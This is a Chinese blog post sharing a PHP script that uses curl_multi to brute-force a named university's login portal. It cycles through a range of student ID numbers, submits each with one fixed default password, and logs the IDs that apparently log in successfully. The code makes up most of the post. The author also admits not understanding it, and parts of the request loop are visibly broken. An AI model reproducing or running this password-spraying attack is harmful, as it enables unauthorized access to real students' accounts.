PHP利用CURL_MULTI实现多线程爆破

来源:互联网 发布:jsonobject数组 编辑:程序博客网 时间:2024/06/05 02:03

在上一篇文章http://blog.csdn.net/ls1120704214/article/details/49734883的最后我尝试着使用PHP进行我的爆破实验,结果也在最后贴出来了...

第二天我通过各种网络搜索又搞出了一个更快的方法,使用curl_multi这个东西我在网络上也没看懂到底是怎么回事,但是网上的文章都千篇一律,全是COPY的,我也就依葫芦画瓢,拼拼凑凑勉强能够运行,先贴出代码:


<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><style type="text/css">span,p{  padding:0;  margin: 0;  font-family: "微软雅黑"; } div{  text-align: center;  color: eee; } body{  background-color: #666; } </style><form id="form1" name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" ><div>  <span>起始学号:</span>    <input name="nums" type="text" size="20" align="center" />  <span>结束学号:</span>    <input name="nume" type="text" size="20" align="center" />    <input type="submit" name="Submit" value="提交" /></div></form><div><?phpfunction fn() {list($a,$b) = explode(' ',microtime());return $a+$b;}function writelog($str){$open=fopen("number.txt","a" );fwrite($open,$str);fclose($open);}if($_POST["nums"] and $_POST["nume"]) {$start_time = fn();// $count=0;$numstart=$_POST["nums"];$numberend=$_POST["nume"];for ($number=$numstart; $number <= $numberend; $number=$number+1) { $connomains[$number] = 'http://www1.cuit.edu.cn/PassPort/Login.asp';$post_data[$number]="Login=Check&txtId=$number&txtMM=Aa123456&Winw=860";}$mh = curl_multi_init();foreach ($connomains as $i => $url) {    $conn[$i]=curl_init($url);//将 curl_exec() 获取的信息以文件流的形式返回,而不是直接输出。curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//全部数据使用HTTP协议中的"POST"操作来发送。curl_setopt($conn[$i], CURLOPT_POSTFIELDS, $post_data[$i]); curl_multi_add_handle($mh, $conn[$i]);}do { $n=curl_multi_exec($mh,$active); } while ($active);while($active&&$mrc==CURLM_OK){        if(curl_multi_select($handle)!=-1){            do{                $mrc=curl_multi_exec($handle,$active);            }while($mrc==CURLM_CALL_MULTI_PERFORM);        }     } foreach ($connomains as $i => $url) {      if (!mb_strpos(curl_multi_getcontent($conn[$i]), $i)) {  writelog($i."\r\n");echo $i.'<br>';  $count=$count+1;      }$value=curl_multi_getcontent($conn[$i]);   curl_close($conn[$i]);}$end_time = fn();echo $numstart.'--'.$numberend.'花费时间:'.round(($end_time - $start_time),5).'秒钟'.'<br>';echo '符合条件共'.$count.'条记录';}?></div>


代码具体什么意思我也就不解释了,因为我自己也没搞懂....

简单说一下她的问题:

1.同时请求的数量不能太多,太多就会出现错误(保持在1000以内最好)。

2.不是真正的多线程,导致效率依然不够,不过较之前的提高了十几倍(请求100个只需要三秒多),还是不错了。

程序值得优化的地方放依然很多,等以后自己懂得的知识多起来再回过头来吗,慢慢改进。


0 0
原创粉丝点击